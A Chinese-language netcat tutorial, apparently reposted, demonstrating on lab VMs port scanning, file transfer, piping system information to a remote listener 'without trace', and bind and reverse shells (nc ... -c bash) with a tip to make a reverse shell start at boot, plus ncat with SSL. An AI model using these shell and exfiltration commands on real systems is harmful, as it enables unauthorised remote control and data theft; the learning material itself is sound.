nc工具使用(Netcat)


netcat是網絡工具中的瑞士軍刀(小身材、大智慧,60kB),它是一個簡單而有用的工具,透過使用TCP或UDP協議的網絡連接去讀寫數據。它被設計成一個穩定的后門工具,能夠直接由其它程序和腳本輕松驅動。同時,它也是一個功能強大的網絡調試和探測工具,它能夠建立你需要的幾乎所有類型的網絡連接,github可下載windows版本,但我更喜歡使用kali集成下的版本,下面開始演示nc常用的五大操作+缺陷彌補。

NC功能端口探測傳輸文本信息傳輸文件/目錄遠程電子取證信息收集遠程控制等常用操作(網上說的加密傳輸文件、流媒體服務器等用處不大這里不做演示)
NC缺點數據明文傳輸、缺乏身份驗證的能力(先連者先得)。

配合比較常用的管道符命令使得nc工具更強大
| 表示管道:上一條命令的輸出,作為下一條命令參數(輸入)。ps -aux | grep aux。
>符號是指:將正常信息重定向。 find / -name “*.txt” > /tmp/log.txt,例-在根目錄下根據名字來查找*.tx輸入的日志放置/tmp/log.txt文件中。
&>可以將錯誤信息或者普通信息都重定向輸出。

在kali上輸入nc -h即可查看nc所有的命令詳解
e0ca00eab755570838d883511ca9a2f6.png

NC常用的參數
-l 偵聽模式,用於入站連接,大部分配合-p參數使用
-p 指定本地的端口號
-n 后面跟IP地址,直接解析IP不解析域名,速度更快
-v 輸出連接的詳細信息,輸入vv可以看到更詳細的信息
-z 端口掃描,默認使用tcp模式
-u 指定udp模式掃描探測,一般配合-z參數使用
-c shell命令,通常為 -c bash返回一個bash shell
-q 在標准輸入完之后退出,延遲多少秒 例如 -q 1表示被連接完成后1秒鍾關閉連接

NC使用演示(虛擬機三台192.168.8.110kali1、192.168.8.130kali2、192.168.8.129win7)

一、端口探測(主要命令-z)
nc -v ip地址 端口(常規探測,輸出nc探測信息和目的ip的指定端口)
nc -nvz 192.168.8.129 445(掃描192.168.8.129主機的445端口開放情況,-n指定后面跟IP地址而不是域名)
d8bb4007c8238f2f296991d413c3bb1b.png
nc -nvz 192.168.8.129 1-1000 (掃描192.168.8.129主機的1-1000端口開放情況,需要關閉win7防火牆)
bd322b689d5d024769a6c1fe81e09d8c.png
nc -nvvzu 192.168.8.129 1-500(掃描1到500間的UDP端口,並在終端返回詳細的探測信息)
總結:netcat里面的端口掃描功能比較低配,不及nmap強大。

二、傳輸文本信息(主要命令-lp,需要兩台機子都有nc工具)
先有一台服務端開放一個隨機的偵聽端口 nc -lp 8888,另一台客戶端再連接服務端的端口 nc -nv 目的地址 8888
kali1【192.168.8.110】:nc -lvp 8888(偵聽並開放本地的8888端口,等待連接...)
1d8a7f355dcfe5a71ad5f1c65d0153af.png
kali2【192.168.8.130】:nc -nv 192.168.8.110 8888(使用nc直接連接kali1的8888端口,兩者交互開始,可以傳輸文本數據了)
bafc90a4e4a5f53b9f316969cf6463f7.png
可以看到,剛開始偵聽端口的一端能顯示該端口已經被192.168.8.130連接上了,下面可以發數據了,例如hell,hi,chifan? chi這樣聊天
9bca13ff69060120db19f4b37869767e.png
總結:此功能類似23端口的talnet一樣,明文傳輸文本信息,發短信一樣的功能。

三、傳輸文件/目錄(只演示單方向傳輸,可以嘗試舉一反三)
傳輸文件:
A端kali1:nc -lp 8888 > nc.jpeg(A作為接收端打開端口,將本地偵聽的8888端口的信息輸出到文件名nc.jpeg里面,有人連接,傳輸完成后,一秒鍾就斷開)
B端kali2:nc -nv 192.168.8.110 8888 < nc.jpeg -q 1 (B端作為發送端,把nc.jpeg文件輸入到192.168.8.110的8888端口里面)
傳輸目錄:
A端kali1:tar -cvf - /root/Desktop/picture | nc -lp 8888-q 1
B端kali2:nc 192.168.8.110 8888 | tar -xvf -(-不能少)
總結:傳輸目錄與傳輸文件功能很像,其實就是多了個解壓縮的命令

四、遠程電子取證信息收集
例子1(收集B端的系統信息,但是不在B端留下命令的痕跡,把系統命令全部通過管道傳輸到A端):
A端kali1:nc -lp 8888
B端kali2:ls -l | nc -nv 192.168.8.110 8888(B端里面執行的ls系統命令在A端里面顯示,B端無痕)
ba0757bfe9f76f9a38c548a2aad05464.png

例子2:
A端kali1:nc -lp 8888 > ps.txt (開啟本地的8888端口,一旦有人偵聽連接把傳輸的內容保存到ps.txt里面)
B端kali2:ps aux | nc -nv 192.168.8.110 8888 -q 1(連接192.168.8.110的8888端口,並且輸入本機的ps aux命令通過管道傳輸到偵聽端口,-q 1表示把命令參數一秒后自動關閉連接)
0191acca2fb9d5e2c41b1fe6724d8a72.png
總結:可以發散思維創建多幾種正反向的連接,其實這個功能有點類型反彈shell行為了。

五、遠控操作(兩者服務器都需要有nc工具,nc重要的功能之一)
正向shell(被攻擊的服務器端開啟8888端口的bash shell,一旦有人連接了8888端口就會給他返回一個shell,客戶端回車能直接執行服務器端的系統命令,例如ls、ifconfig等,正向比較容易理解)
kali1(被攻擊的服務器):nc -lp 8888 -c bash(被攻擊的服務器主動開啟8888端口,誰先連上shell就給誰)
kali2(攻擊者服務器):nc -nv 192.168.8.110 8888(主動連接目的服務器的8888端口來獲取shell,然后獲得root權限執行系統命令)
a6b27aac3a01dc99bf565a79edb3cc2c.png
反向shell(被攻擊的服務器主動外連攻擊者服務器的8888端口並且給他一個bash shell,反向shell的目的是防止被攻擊者的IDC服務器里面的防火牆攔截,一般目的服務器只開80和443端口,讓服務器開放本地端口出網難度大,但是可以讓被攻擊的服務器直接連攻擊者的服務器端口,寫一個shell腳本放在配置文件里面設置開機自啟動,肉雞即可上線)
kali1(攻擊者服務器):nc -lp 8888(攻擊者的服務器開啟並監聽本地的8888端口,等待肉雞上線即可執行系統命令)
kali2(被攻擊的服務器):nc -nv 目的地址 333 -c bash(主動對攻擊者的服務器進行外聯並給他一個bash shell)
f1f519dc3898d489a2f7adef4e446758.png
總結:被攻擊者的服務器一般部署在公網上,多讀兩遍就能理解正向和反向shell的邏輯了。注:windows用戶把bash改成cmd。

六、缺點彌補—ncat
NC缺乏加密和身份驗證的能力(明文傳輸容易被偵聽,NC打開的一個端口容易被其他人連接無法判斷),Ncat包含於nmap工具包中(利用ncat進行管道加密傳輸)
實驗環境使用 kail linux默認沒有ncat工具,它是nmap里面的一部分,首先在 linux 虛擬機上安裝 NC linux 環境:apt-get install netcat
兩個最主要的參數:--ssl 加密傳輸,--allow 只允許某個主機連接
kali1:ncat -c bash --allow 192.168.8.130-vnl 8888 --ssl(--allow 只允許192.168.8.130這個IP地址來連接我,--ssl 加密流量。做成加密管道)
kali2:ncat -nv 192.168.8.110 8888 --ssl(兩者建立的是一條基於加密管道通信的隧道)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM